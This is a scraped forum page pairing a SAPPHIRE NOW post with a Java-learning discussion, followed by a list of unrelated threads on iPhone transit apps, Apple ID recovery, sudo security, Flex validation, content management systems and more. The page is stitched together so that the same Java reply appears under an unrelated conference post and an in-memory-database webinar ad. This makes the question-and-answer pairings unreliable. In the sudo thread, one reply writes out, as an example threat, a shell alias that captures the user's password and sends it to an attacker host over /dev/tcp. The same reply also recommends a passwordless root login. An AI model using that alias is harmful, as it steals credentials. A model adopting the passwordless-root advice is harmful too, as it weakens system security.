What's your agenda for SAPPHIRE NOW?

What are you looking forward to @SAPPHIRENOW?   Here's my plan
For me it's a mixture of meeting old friends, new contacts, and finding out what's happening at the leading edge.
I never stick to a plan but go where the music takes me.    I'll be working our booth so please come and say hello!

Well, it seems like most of you simply read the
various texts and try the vendors' examples. I'm
surprised that no one mentioned ever having bought a
prototype application from the onset. "bought"? What's that mean? You don't buy prototypes. You download evaluation versions, maybe.
I try to find sample code and tweak it to see the effects. Otherwise, I start writing small sample code an build on that.
I consider myself a reasonably competent core Java
programmer, but I had serious difficulty configuring
and merging its related technologies. There were so
many disjointed pieces of instructional information
that the additional research time really hurt our
budget severely. Not an uncommon thing, I'm sure. There's a lot of stuff. But don't bother learning all of it. Not in detail, at least. It's a good idea to familiarize yourself with the names of packages/libraries and what they do. But only really learn what you need to learn for what you need to do. The next project you will probably need other things, so you learn them then.
bsampieri,
I've setup Tomcat and tried the examples--in fact, I
normally follow tutorials for all products I hope to
use. Problem is, the examples and tutorials never
address my specific needs. So, I usually inch toward
my goal by spending weeks or months in forums to
continue where the tutorials leave off. Anything complex is going to not be there.... the trick is to identify pieces that you can pull out to build more complex apps. And the fact that JSP/servlets have the issue of being compounded by all the HTML/CSS/JS and HTTP protocol ... I don't want to say limitiations, exactly... Well, it just makes things more complex and harder to know what you need.
Perhaps you guys are much faster and smarter than
I...or you have a much bigger budget :)Probably not... on either account.

Similar Messages

  • What is your solution for getting public transportation in map? Actually my iphone is useless for me because it hasn't a public transportation map.

    what is your solution for getting public transportation in map? Actually my iphone is useless for me because it hasn't a public transportation map.

    This has been a huge problem for me too. I was actually late to work yesterday and wanted to throw my phone out the window of the bus that I finally was able to find. I'm new to Portland, so this suddenly missing feature is particularly problematic. It really is so hard to avoid getting angry, I just can't believe they would eliminate a feature that people rely on so heavily. But anger doesn't do any good so I'm trying my hardest to stay calm and figure out an acceptable solution while Apple works to restore this feature - at least I pray to God that that's what they aim to do. Here are the apps that I've been trying, I'll try to explain how they work and maybe they will work for you. This is going to be a long post, but I'm hoping some people will find it helpful.
    I'll start with the most obvious of all - adding Google Maps to your homescreen. Every time you launch the app you will get a diaologue prompting you to allow Google Mpas to use your location, and then you will be in an environment that looks similiar to what we are used to. It does not integrate with your contact list, so one workaround I've been using is going to my contacts and holding my finger on an address to copy it to the clipboard. Be aware that leaving this web app will lose whatever you're looking at and go back to the start, so best to do this before you launch it. You'll notice some strange behavior - for instance the drop down menu of suggested locations will apear and then quickly disaprear, so just ignore this. Often it will often unexpectadly scroll to the top for some reason when you're trying to do something towards the bottom. Haven't figured out a fix except for trying to not get flustered and doing things slowly and deliberately. It's not as quick as we're used to anyway so this is not hard to do. If you'd like to see any of the suggested routes on a map you can do this by clicking the small 'Map View' link. Just be aware that you can only do this once or you will have to type in your starting an ending points again, as there is no way to go back to the list you were just looking at once you are in map view. One thing that I have found helpful about the Google maps method is when looking at a route, whether in list or map view, you can see the stop ID right there, which is helpful if your city has a way to check real-time arrivals. For instance here in Portland you can text this stop ID to a certain number and immediately receive real-time arrivals.
    The app I've been using most is called 'Transit'. It's pretty beautiful aesthetically, and the UI is simpler than anything else I've come across, which is convenient for a task that you want to accomplish as quickly as possible so you can put away your phone and be on your way. When you first launch it you're presented with three bus routes that stop near your current location. It tells you which direction the route is headed and in how many minutes the next bus is scheduled to arrive. This is helpful if you are familiar with that particular busline, otherwise there's no indication of where the line will take you. Upon clicking a line, you're presented with three buttons (again, loving the simplicity). One reverses the direction of that same busline. One expands the list of times so you can quicly see all the arrival times for that bus route at that particular stop for the entire day. The other takes you to map view and quickly displays the location of this stop. And here's the best feature of all (!!), it shows you the busline as a blue line and every single stop is marked with a circle. You can click on a circle and it displays the expected arrival time at that stop. This is all very helpful in some circumstances, but of course it does not let you type in a destination and have it build a route for you, and if you'll be transferring to another line this will not help you at all. To accomplish this you press the arrow in the lower left where you can type in a starting point, ending point, and an arrival/departure time. And this DOES reference your contact list. It will then allow you to quickly switch between three routes that it selects. It also searches Maps (actually it says 'Powered by Foursquare' for landmarks/establishments. For instance if I type in 'sushi', I'm presented with a handful of sushi joints in my area. There is a bug in this app where sometimes the 'Route' button is missing and you can only resolve this by leaving the app and quitting the process in the multitasking trail. When it builds your route, you can click on any point of transfer and it will tell you what time that bus/train is leaving. There is no list view, but personally I never found list view very helpful anyway. I know some people will disagree though.
    Now I'll talk about HopStop. This is a kind of clunky interface unfortunately, and also has ads which I can't stand. It is able to reference your contact list. My least favorite thing about this app is the list it gives you is so excessively long-winded it's hilarious. Every single stop along the route is listed in this list view, so you'll be scrolling through literally dozens of pages of useless information like 'Pass such-and-such - 1 min. Pass such-and-such - 1 min. Pass such and such - 2 min.' Oh well. The good news is on this insanely long list, it indicates when you are supposed to do something other than sit patiently in your seat by having an icon to the left of that instruction - either a person walking or a bus number. When you switch to list view unfortunately it no longer displays departure times, so you'll have to be switching betwen maps and list view. One great feature of this app is it lets you save routes to your favorite list. It also lets you find bus stops and quickly see what bus lines hit those stops. I can't stand the flashing advertisements, so I avoid using this at all costs.
    On to 'City Maps'. Again, the first thing you will see is a short list of bus lines that hit the stop nearest to you. Tap on one and it shows you the next three departures in either direction, as well as the distance between your current location and the stop in question. This app also searches for restaurants and such, but takes this feature on step further. Here when I type in 'sushi' and select a restaurant, I'm brought to a page that links to the Yelp, Foursquare, and Facebook pages associated with it - even has a link that takes you directly to the menu if Foursquare has it. Awesome feature, right?? Tap on 'Map' and it immediately displays the location and an option to build a few routes. It always displays the walking route below the bus lines to give you a sense of how long it would take (even if it's a two hour walk). Clicking on a bus route on this list takes you to list view. Unfortunately this also displays a deluge of pointess turns that only the bus driver need worry about, but it's not as bad as HopStop. There's an optional feature where it can display Google Street View images right in this list view, if you think that could be helpful. With one tap it quickly switches to a very aesthetically pleasig map view. There's an update button that lets you immediately refresh directions, edit starting/ending points, or give it new directions altogether.
    I'm sure in just a moment someone will come along and say something insulting about how we're blowing things out of proportion. I guess that's just the nature of trolls - a lot of people find being angry on forums while hiding behind their screen names cathartic for obvious reasons. Let's all of us just do our best to ignore these people and keep this discussion diplomatic and oriented towards helpful solutions. I know none of us want to give up our beloved iPhones, I'm only considering it as a last resort.

  • Hi Apple! My iphone 4g has restored and I can't retrieve the account. I have tried the password renewal that will be send on my mail but unfortunately my mail has been deactivated also.what is your solution for this kind of cases? This is so unfair.

    Hi Apple! My iphone 4g has restored and I can't retrieve the account. I have tried the password renewal that will be send on my mail but unfortunately my mail has been deactivated also.what is your solution for this kind of cases? This is so unfair.

    http://support.apple.com/kb/HT5312
    If you established a rescue email address, there will be a link on the "Passwords & Security" page of id.apple.com.  Clicking the link will send the reset to your rescue email address (NOTE:  This is not the same address as your Apple ID email)
    If there is no link on the page, then you didn't establish a rescue email address.  Contact AppleCare at 800.694.7466, and ask for account security.  You will need to answer some questions to verify your identity, AND you will need access to a computer to generate a temporary support pin.
    HTH

  • Hello, I would like to know what is your policy for higher educational institutes or with whom should I be in touch with? Thanks

    I would like to know what is your policy for higher educational institutes or with whom should I be in touch with?
    Thanks a lot for your help,

    Apple HED has no published email addresses, and since Apple does not sell their products directly in Israel, you will probably need to work through local distributors or dealers in any case. I would suggest contacting Apple's authorized distributor, iConGroup:
    http://www.icongroup.co.il
    Regards.

  • Can You Offer Clarity - Who, What, When Your Eligible for Promotional Refund

    In our town we have two retailers which are literally blocks mile from each other; Verizon Wireless 76 Dodge St., 01915 and Verizon Wireless at 136 Dodge St., 01915.  I'm sifting through the VWZ website to better understand the promotion and to better understand given the information shared at "Verizon Wireless 136 Dodge St....".
    I've been a customer of VWZ for years and have opted not to go to 76 Dodge St. given the years of poor customer service experience at that particular location and return to 136 Dodge St given their great customer service.  Now I read your posting as I comb through the readings to learn more about the promotion to help better understand who, what and under what circumstances you are eligible to receive the promotional upgrade. 
    I only went to the store today given the VWZ website did not allow me to change my plan to from nationwide to single place and pre-order the phone.  My frustration mounted when I went to the store I was at today stated VWZ "misinformed the public..." and the $200 upgrade really should really have read, "...receive up to a $200 refund..." -- that is, I would only receive the cost of the appraised value of the iPhone 4S which is only know after I submit the item to VWZ.  Here I read this post which you indicate it's only available at "Verizon Wireless" which leaves be baffled - does this include authorized retailers who print receipts stating "Verizon Wireless, 136 Dode St... or what?  The only reason why I remained with VMZ (it wasn't for the customer service), was the promotional offer and the new single plan being offered.  If this is not the case, I like to void this order (which I won't be surprised I'll be charged) and start shopping around at other carriers.  I admit this promotional offering is very clear with no clear indication on who, what and under what circumstance you are eligible and the cost you will encounter.

    nickleu wrote:
    i've never pay close attention to this problem,until one day i open a terminal and type
    sudo su
    ,and i jumped to a root session without any problem.
    I mean, isn't it stupid that someone who has my user password can easily get my root access? What is my long, complex root password for?
    Later on I even think of more cases where I can jump to a root session with just my user password.---sudo vim ; sudo bash,eg.
    Google around and search arch forum didn't give me much.
    BTW, I just went across this Linux Journal passage http://www.linuxjournal.com/content/sto … r-password. there is a comment claiming that sudo is not safe.
    Anonymous from LinuxJournal wrote: su is a perfectly safe command, sudo is not. When you have work to do, you don't (or shouldn't) have time to find that sudo isn't configured for what you need to do- or worse, that it's misconfigured and you have a glaring security hole on your server. This happens everyday.
    So how do you guys think?
    I think NOEXEC is the sudo option you're looking for. It prevents sudo processes from spawning child processes, which may or may not be a shell. Use it in conjunction with a specific, known-to-be-secure command line, and you can mitigate the problem you're talking about. Personally, I don't use su nor sudo anymore. Instead I log into my passwordless root account from another TTY, which getty permits by default. su and ssh deny access to passwordless accounts, so I don't really see it as a security problem.
    Furthermore, I think your concern is misplaced: if someone had access to your user password, there is far more he or she could do beyond using sudo (install a keylogger, alias sudo='read -p Password > /dev/tcp/attacker.com/1234', gdb(1), ptrace(2), etc). More realistic threats are usually those involving privilege escalation by other users or programs without the use of su/sudo.
    Edit: see also man sudo(1) and sudoers.conf(5).
    Last edited by EscapedNull (2014-11-05 21:32:41)

  • What is your strategy for form validation when using MVC pattern?

    This is more of a general discussion topic and will not necessarily have a correct answer. I'm using some of the Flex validator components in order to do form validation, but it seems I'm always coming back to the same issue, which is that in the world of Flex, validation needs to be put in the view components since in order to show error messages you need to set the source property of the validator to an instance of a view component. This again in my case seems to lead to me duplicating the code for setting up my Validators into several views. But, in terms of the MVC pattern, I always thought that data validation should happen in the model, since whether or not a piece of data is valid might be depending on business rules, which again should be stored in the model. Also, this way you'd only need to write the validation rules once for all fields that contain the same type of information in your application.
    So my question is, what strategies do you use when validating data and using an MVC framework? Do you create all the validators in the views and just duplicate the validator if the exact same rules are needed in some other view, or do you store the validators in the model and somehow reference them from the views, changing the source properties as needed? Or do you use some completely different strategy for validating forms and showing error messages to the user?

    Thanks for your answer, JoshBeall. Just to clarify, you would basically create a subclass of e.g. TextInput and add the validation rules to that? Then you'd use your subclass when you need a textinput with validation?
    Anyway, I ended up building sort of my own validation framework. Because the other issue I had with the standard validation was that it relies on inheritance instead of composition. Say I needed a TextInput to both check that it doesn't contain an empty string or just space characters, is between 4 and 100 characters long, and follows a certain pattern (e.g. allows only alphanumerical characters). With the Flex built in validators I would have to create a subclass or my own validator in order to meet all the requirements and if at some point I need another configuration (say just a length and pattern restriction) I would have to create another subclass which duplicates most of the rules, or I would have to build a lot of flags and conditional statements into that one subclass. With the framework I created I can just string together different rules using composition, and the filter classes themselves can be kept very simple since they only need to handle a single condition (check the string length for instance). E.g. below is the rule for my username:
    library["user_name"] = new EmptyStringFilter( new StringLengthFilter(4,255, new RegExpFilter(/^[a-z0-9\-@\._]+$/i) ) );
    <code>library</code> is a Dictionary that contains all my validation rules, and which resides in the model in a ValidationManager class. The framework calls a method <code>validate</code> on the stored filter references which goes through all the filters, the first filter to fail returns an error message and the validation fails:
    (library["user_name"] as IValidationFilter).validate("testuser");
    I only need to setup the rule once for each property I want to validate, regardless where in the app the validation needs to happen. The biggest plus of course that I can be sure the same rules are applied every time I need to validate e.g. a username.
    The second part of the framework basically relies on Chris Callendar's great ErrorTipManager class and a custom subclass of spark.components.Panel (in my case it seemed like the reasonable place to put the code needed, although perhaps extending Form would be even better). ErrorTipManager allows you to force open a error tooltip on a target component easily. The subclass I've created basically allows me to just extend the class whenever I need a form and pass in an array of inputs that I want to validate in the creationComplete handler:
    validatableInputs = [{source:productName, validateAs:"product_name"},
                         {source:unitWeight, validateAs:"unit_weight", dataField:"value"},
                   {source:unitsPerBox, validateAs:"units_per_box", dataField:"value"},
                        {source:producer, validateAs:"producer"}];
    The final step is to add a focusOut handler on the inputs that I want to validate if I want the validation to happen right away. The handler just calls a validateForm method, which in turn iterates through each of the inputs in the validatableInputs array, passing a reference of the input to a suitable validation rule in the model (a reference to the model has been injected into the view for this).
    Having written this down I could probably improve the View side of things a bit, remove the dependency on the Panel component and make the API easier (have the framework wire up more of the boilerplate like adding listeners etc). But for now the code does what it needs to.

  • What's your strategy for learning Java technologies?

    Or, in other words, how do YOU acquire knowledge that is necessary for implementing Java technologies?
    After having spent one-and-a-half years developing an enterprise app, I've gained lots of knowledge about Java and some surface knowledge about its related technologies (JBoss, Hibernate, Ant, XDoclet, NetBeans and probably some others I can't think of at the moment).
    I'm now realizing that -- although the standalone prototype version of my program is growing mature -- I've still got lots to learn for refactoring it to a web platform. For example, I 've done small test projects using Servlets, but haven't done any work with JSP (or HTML for that matter) yet.
    Now, I'm sure I can learn JSP etc., but the questions I ask myself are: how long will it take?
    It's a rhetorical question of course (I don't expect an answer from you, the reader) However, it's an important issue because the months or years I spend fumbling around learning these new technologies, are time I could otherwise spend on the business logic and functionality of my program.
    So, how do you guys acquire knowledge of technologies? Official training perhaps? Or do you simply experiment until it works? Or do you rely on your company's knowledge base (e.g. someone in your company knows how it works)? Or do you get prototypes built from someone who already knows how it works?
    I�m really curious about this and would appreciate your thoughts.
    Thanks in advance,
    P

    Well, it seems like most of you simply read the
    various texts and try the vendors' examples. I'm
    surprised that no one mentioned ever having bought a
    prototype application from the onset. "bought"? What's that mean? You don't buy prototypes. You download evaluation versions, maybe.
    I try to find sample code and tweak it to see the effects. Otherwise, I start writing small sample code an build on that.
    I consider myself a reasonably competent core Java
    programmer, but I had serious difficulty configuring
    and merging its related technologies. There were so
    many disjointed pieces of instructional information
    that the additional research time really hurt our
    budget severely. Not an uncommon thing, I'm sure. There's a lot of stuff. But don't bother learning all of it. Not in detail, at least. It's a good idea to familiarize yourself with the names of packages/libraries and what they do. But only really learn what you need to learn for what you need to do. The next project you will probably need other things, so you learn them then.
    bsampieri,
    I've setup Tomcat and tried the examples--in fact, I
    normally follow tutorials for all products I hope to
    use. Problem is, the examples and tutorials never
    address my specific needs. So, I usually inch toward
    my goal by spending weeks or months in forums to
    continue where the tutorials leave off. Anything complex is going to not be there.... the trick is to identify pieces that you can pull out to build more complex apps. And the fact that JSP/servlets have the issue of being compounded by all the HTML/CSS/JS and HTTP protocol ... I don't want to say limitiations, exactly... Well, it just makes things more complex and harder to know what you need.
    Perhaps you guys are much faster and smarter than
    I...or you have a much bigger budget :)Probably not... on either account.

  • What is your system for keeping up with CC bills?

    After an auto loan in November, and almsot all baddies falling off my report my scores climbed considerably.  Since I am rebuilding, I have opened several cards (QS1, First Premier, Shell Gas Card, Amazon Store Card, WalMart Card, Goodyear).  This is quite an influx of new monthly bills. To be honest, I'm paranoid about missing a payment. The money isn't a problem, but I dont want it to slip my mind.  What organizational systems are ya'll using to keep up with them all?  I am not an organized person really, but I do want to keep everything in order so that I NEVER miss a payment! 

    Revelate wrote:
    takeshi74 wrote:
    I use Excel and Mint.  The former is for crude budgeting, tracking transactions, balances, utilization, etc.  Mint is used for analytics.  Bills get paid when I get paid. Revelate wrote:
    This.  There's no excuse for not setting up autopay: zero downside, and possible saving-your-bacon upside. Excuse isn't always relevant.  Many find autopay useful but that doesn't mean it's a best fit for everyone.  I don't use it but I would recommend to any that would find it a useful safety net.Infinite universe theory senor, it might be decades from now or perhaps never for you as an individual but people do forget payments even on this forum and we're way better statistically than the average I would suggest. If it costs you nothing other than a few mouse clicks, and it protects against you or someone else's doing something sloppy later, why not do it?  What is the downside?  Possible NSF fee if you overdraw your checking account?  Would suggest that's a bigger problem than forgetfulness, we're only talking autopaying the minimums on CC's just to cover the due date.  I'm in agreeance that auto pay should be set up. There's no downside except taking the few seconds (and mouse clicks as revelate so eloquently puts it) to set up. The downside of not setting up auto pay could create havoc to someone with stellar credit, or take a few steps back from a dedicated rebuilder.

  • What's your strategy for in-memory databases?

    The recent Lattanze Center research study identified trends that you cannot afford to ignore.  Dr. Elliot King will present the latest research during an informative webinar entitled: u201CIn-Memory Database Adoption is Gaining Momentum.  Whatu2019s your strategy?u201D
    For more information: http://bit.ly/kDpsfH 
    When:                 June 2 at 10:30 AM PDT.
    Duration:     45 Minutes
    Cost:               Free
    Location:          At your computer
    Space is limited, so register now @ http://bit.ly/ilgFot
    Besides learning about the latest trends within In-Memory Database technologies, youu2019ll also receive a free copy of a new White Paper, u201CMaking the Business Case for In-Memory Databasesu201D and the Executive Summary of the recent research from the Lattanze Center for Business Excellence.
    Thursday, June 2, 10:30 AM PDT. Register now @ http://bit.ly/ilgFot  Space is limited!

    Well, it seems like most of you simply read the
    various texts and try the vendors' examples. I'm
    surprised that no one mentioned ever having bought a
    prototype application from the onset. "bought"? What's that mean? You don't buy prototypes. You download evaluation versions, maybe.
    I try to find sample code and tweak it to see the effects. Otherwise, I start writing small sample code an build on that.
    I consider myself a reasonably competent core Java
    programmer, but I had serious difficulty configuring
    and merging its related technologies. There were so
    many disjointed pieces of instructional information
    that the additional research time really hurt our
    budget severely. Not an uncommon thing, I'm sure. There's a lot of stuff. But don't bother learning all of it. Not in detail, at least. It's a good idea to familiarize yourself with the names of packages/libraries and what they do. But only really learn what you need to learn for what you need to do. The next project you will probably need other things, so you learn them then.
    bsampieri,
    I've setup Tomcat and tried the examples--in fact, I
    normally follow tutorials for all products I hope to
    use. Problem is, the examples and tutorials never
    address my specific needs. So, I usually inch toward
    my goal by spending weeks or months in forums to
    continue where the tutorials leave off. Anything complex is going to not be there.... the trick is to identify pieces that you can pull out to build more complex apps. And the fact that JSP/servlets have the issue of being compounded by all the HTML/CSS/JS and HTTP protocol ... I don't want to say limitiations, exactly... Well, it just makes things more complex and harder to know what you need.
    Perhaps you guys are much faster and smarter than
    I...or you have a much bigger budget :)Probably not... on either account.

  • Adobe: WHAT IS YOUR PLAN FOR DPS/ACROBAT/DISTRIBUTION?

    Based on Matthew's post in this thread:
    http://forums.adobe.com/thread/898426?tstart=0
    I'm frankly concerned about investing any more time and resources into DPS without SOME SORT OF OUTLINED PLAN from Adobe.  Hinting that you may 'limit' functionality of the acrobat.com distribution method (which could mean anything, really) - but providing no further details - is simply not responsible.
    DPS is no longer beta.  It's a product with an accepted workflow that accommodates those who want to publish magazine content via the Pro/Enterprise plans, and those who wish to distribute via acrobat.com.  There's been endless posts on this subject, and I would hope that Adobe has some sort of roadmap to giving it's customers continued support and options.  Instead, we get a cryptic message about how the acrobat.com distribution method is blowing up your servers.
    Adobe, I'm asking for some clarification here and a clear outline of what you intend with this product.  Letting us travel down a course of building great material using DPS, and then possibly pulling the rug out from under us, is truly a concern.
    Remember, it's not just your issues that are at stake.  Some of us are promoting/pitching/praising this new software and process to our companies and clients, and getting solid support.  We need to know that you've got some sort of solid foundation and plan going.  I cannot keep pitching/using this stuff, only to later tell the people that are paying the bills that 'oops, Adobe changed their minds.'.
    Tnx

    1. Define 'limited' for the Free acrobat.com account.
    2. With either the Basic or Plus acrobat.com subscriptions, define 'limited'.
    3. What is the max number of folios that can be hosted with Basic or Plus subscriptions?
    4. If I create a folio and do NOT use the Share method, but simply give out a username and password to download the folio, define 'limited'.
    All this remains very unclear.
    Tnx

  • What is your tolerance for placing things into clusters?

    I'm curious.  I am a kind of OCD - and LabVIEW REALLY feeds it - and I tend to want to put related things into clusters, which isn't a bad thing, really.  But a lot of the things I incluce are already clusters, so there are quite a few levels of unbundling.  The question is, where is your tolerance between the need for organization and the pain of having huge unbundle by name nodes?  I try to make the labels simple and use captions wherever possible, but it still leads to some nasty unbundle by names, even if I unbundle directly instead of one level at a time.
    If I let my tendencies run amok, I would end up with one big cluster of everything.
    Bill
    (Mid-Level minion.)
    My support system ensures that I don't look totally incompetent.
    Proud to say that I've progressed beyond knowing just enough to be dangerous. I now know enough to know that I have no clue about anything at all.

    billko wrote:
    Didn't know this would lead to a war between factions.  By all means, though - please continue.  It's a very interesting discussion.
    I'm used to listening to both sides.  It can get fun listening to a bunch of CLAs argue over things like this.
    In general, I have found those with a CS background like OOP while those with an engineering background do not and therefore work with clusters.  Though I am an Electrical Engineer, I find myself moving towards the OOP here and there.  It depends on my application.
    There are only two ways to tell somebody thanks: Kudos and Marked Solutions
    Unofficial Forum Rules and Guidelines

  • What is your workflow for building a site?

    I built sites a few years ago and am getting back into it. My traditional workflow would be to mock up a site in photoshop, slice it up, open the html file in Dreamweaver which would have the images put in a table, then do some editing, insert the rollovers for the nav bar, make that into a template and use it for other pages, etc. I realize that this process is now woefully out of date, so how does one go about doing a semi basic website the "right" way these days? I know a little bit about CSS but I've never used divs before.
    Also, how wide are people designing sites these days? I used to make my sites around 760 pixels wide, considering people would have their screen resolution set to 800x600. Do people still use this width as a safety measure or are you designing for 1024x 768 these days?
    Thanks.

    It's not nessesary to learn all three, or any at all. There's thousands of open-source and commercial content management systems out there, each with their own strengths and weaknesses. They're just about all configurable to some degree or another, some are easy to "theme" (WordPress), while some can be a bit more challenging (Drupal).
    Using WordPress as an example (which is the easiest in my opinion), you'd creat a custom theme by editing a selection of php template files:
    header.php  - This file contains just about everything you'd  expect that goes into the top of a website. The doctype declaration,  your opening and closing head tags, any javascript links you setup, etc.
    page.php  - This file is responsible for calling the appropriate content from the  WordPress database that you setup. It also calls the sidebar and the  footer.
    sidebar.php - This file houses whatever  you'd like to appear on the side of each page. It also summons a  admin-configurable "widget" area, that you can manipulate through your  dashboard.
    footer.php - This file wraps up the  document with your closing </body> and </html> tags, among  other elements typically found in a footer (copyright info, etc).
    Wordpress then wraps all of these files together, inserts the "content" that you enter in the admin section and displays the finished page to the user.
    Here's a few sites you might have heard of that use Drupal:
    The Grammy Awards (http://www.grammy.com/)
    The Emmy Awards (http://emmys.com/)
    Eric Clapton (http://www.ericclapton.com/)
    Duke University (http://www.duke.edu/)
    Rutgers University (http://rutgers.edu/)
    Harvard Science & Engineering Department (http://www.harvardscience.harvard.edu/)
    Reuters (http://labs.reuters.com/)
    Mensa (http://www.mensa.org/)
    Mattel (http://mattel.com/)
    Zappos (http://about.zappos.com/)
    Nokia Research (http://research.nokia.com/)
    The Whitehouse (http://www.whitehouse.gov/)
    Here's an article published last year that details almost 200 high-profile Drupal sites:
    http://buytaert.net/tag/drupal-sites
    How many sites total use Drupal? Estimated at over 7 million.
    Here's a few WordPress sites:
    ELLE Girl (http://ellegirl.elle.com/)
    Tom Jones (http://www.tomjones.com/)
    Sylvestor Stallone (http://sylvesterstallone.com/)
    Ryan Seacrest (http://ryanseacrest.com/)
    The Columbus Foundation (http://columbusfoundation.org/)
    Wake Forrest University (http://www.wfu.edu/)
    Kobe Bryant (http://kb24.com/)
    TED Blog (http://blog.ted.com/)
    TechCrunch.com (http://www.techcrunch.com/)
    NASA.gov (http://www.nasa.gov)
    Jive Records (Sony/BMG) (http://www.jiverecords.com/)
    How  many websites use WordPress? WP 3.0 was downloaded over 32 million  times so far. It accounts for 11% of the webs 1,000,000 most popular  websites. WordPress.com, the hosted version of WordPress, has over 17  million users.

  • What's your strategy for WebService errors that aren't raised through fault handler?

    Is there a way to underride the default functionality of
    WebService.as? I can't find the source code in the SDK, so I'm
    assuming this part of Flex isn't Open Source.
    I find that using WebServices that there are a lot of errors
    that potentially occur that I can't capture in the UI. Or, let me
    rephrase that, that I haven't been able to figure out how to
    capture in the UI.
    For example, the following "Could not load WSDL" error
    occurs. Now, I could probably devise a strategy around checking
    that the connection is alive and such, but then I've seen other
    errors that occur in the WebService base classes that are all fired
    asyncronously.
    Is there a way to add a default handler that capures these
    types of errors? (They're not captures by FaultHandlers).
    I can't have a UI that displays the big white box to end
    users with a stack trace. Thanks.
    [RPC Fault faultString="Could not load WSDL"
    faultCode="Server.NoServicesInWSDL" faultDetail="No
    <wsdl:service> elements found in WSDL at ."]
    at
    mx.rpc.wsdl::WSDL/getService()[E:\dev\flex_3_beta3\sdk\frameworks\projects\rpc\src\mx\rpc \wsdl\WSDL.as:256]
    at
    mx.rpc.wsdl::WSDL/getPort()[E:\dev\flex_3_beta3\sdk\frameworks\projects\rpc\src\mx\rpc\ws dl\WSDL.as:182]
    at mx.rpc.soap::WebService/
    http://www.adobe.com/2006/flex/mx/internal::wsdlHandler()[E:\dev\flex_3_beta3\sdk\framewor ks\projects\rpc\src\mx\rpc\soap\WebService.as:267
    at flash.events::EventDispatcher/dispatchEventFunction()
    at flash.events::EventDispatcher/dispatchEvent()
    at
    mx.rpc.wsdl::WSDLLoader/checkLoadsOutstanding()[E:\dev\flex_3_beta3\sdk\frameworks\projec ts\rpc\src\mx\rpc\wsdl\WSDLLoader.as:195]
    at
    mx.rpc.wsdl::WSDLLoader/resultHandler()[E:\dev\flex_3_beta3\sdk\frameworks\projects\rpc\s rc\mx\rpc\wsdl\WSDLLoader.as:173]
    at flash.events::EventDispatcher/dispatchEventFunction()
    at flash.events::EventDispatcher/dispatchEvent()
    at mx.rpc::AbstractInvoker/
    http://www.adobe.com/2006/flex/mx/internal::dispatchRpcEvent()[E:\dev\flex_3_beta3\sdk\fra meworks\projects\rpc\src\mx\rpc\AbstractInvoker.as:175
    at mx.rpc::AbstractInvoker/
    http://www.adobe.com/2006/flex/mx/internal::resultHandler()[E:\dev\flex_3_beta3\sdk\framew orks\projects\rpc\src\mx\rpc\AbstractInvoker.as:198
    at
    mx.rpc::Responder/result()[E:\dev\flex_3_beta3\sdk\frameworks\projects\rpc\src\mx\rpc\Res ponder.as:48]
    at
    mx.rpc::AsyncRequest/acknowledge()[E:\dev\flex_3_beta3\sdk\frameworks\projects\rpc\src\mx \rpc\AsyncRequest.as:81]
    at
    DirectHTTPMessageResponder/completeHandler()[E:\dev\flex_3_beta3\sdk\frameworks\projects\ rpc\src\mx\messaging\channels\DirectHTTPChannel.as:387]
    at flash.events::EventDispatcher/dispatchEventFunction()
    at flash.events::EventDispatcher/dispatchEvent()
    at flash.net::URLLoader/onComplete()

    I found out at FlexCOders, that when I'm not using the Debug
    version of the Player that these errors should correctly propogate
    to the Fault handler.

  • What is your advice for my case ( returning iPhone 4S)?

    Hello guys,
    My story is:
    I have bought my 4S at launch day. When I went home I saw scratches on the metal band , dead pixel and very dimmer top half of the screen.
    Returned it immediately and got a new one. This one had two little scratches on the display under the glass and one speck of dust under the glass also.
    At first I liked the screen more than first unit and as long the issues weren't so obvious- I kept it and decided to live with them.
    But yesterday I was at Apple Store  and compared mine screen with the new batches they got there. All new phones had very white screens and mine looked in red tint when compared. It seems that I had to wait  a bit for the new batches instead of going on 14 October to get one on launch day..
    My screen is still suffering of dim top half, competed to the phones, exposed in the store, but not so much dimmer as my first unit.
    My question is:
    I know I will be given a refurbished one, frankly- I don't want to. So, is it possible, of your opinion, to ask the Genius to swap mine screen with one of the exposed phones there (in Apple Store). I don't really think they will lose something when do that, as long as these phones are only for exposition.
    Do you think I will have my request approved?

    I seriously doubt they will exchange your iPhone with one of the display units.
    Doubtful if Apple has any refurbished iPhone 4S in stock for an exchange under warranty at this point. An exchange under warranty is provided in a plain box with the iPhone only regardless if new or refurbished and there should be no way to tell the difference. The exchange will remain under the same warranty as your original purchase.

  • Hard drive failed - what can apple do for me now?

    Is it work going to an Apple store for help with a macbook pro with no hard drive? It's a 2010.

    Can you not just purchase one and put it in and reload the OS? There are plenty of tutorials online if you're not confident at present.

Maybe you are looking for

  • Can't enter credit card details

    Hi, Last week I tried to download an app but my credit card declined due to an expiry date. I no longer use that credit card/company, so I used iTunes to change my billing information over to my new credit card. However, when I press 'done' at the en

  • VGA unplug, replug needs xrandr off, xrandr on since recently

    Hello, I need to plug and unplug my laptop several times a day to an external VGA beamer. Before recently, I switched on the external VGA (DP1) ONE time by: xrandr --output eDP1 --mode 1366x768 --output DP1 --mode 1366x768 and no matter how I pluged

  • Getting the position of the cursor in an IMAQ window

    I am currently working on a project using LabView 6.0 and IMAQ Vision. I need to get the instantaneous coordinates of the cursor in an IMAQ window, without clicking the mouse button. The purpose is to let a laser beam follow the movement of the curso

  • Moving the record to another internal table.

    dear all, i am having two internal tables . itab & itab1. itab contains matnr   plant   quantity     date                     100      500      1000       yyyy/mm/10                     100      500      2000       yyyy/mm/20.           i have to mov

  • Audio book download

    i have a 30gb colour ipod, i have downloaded a audio book from itunes, when i choose to play it, show the book icon then turns to ipod to start up, i have reloaded the settings on my ipod but no luck. any one can help me?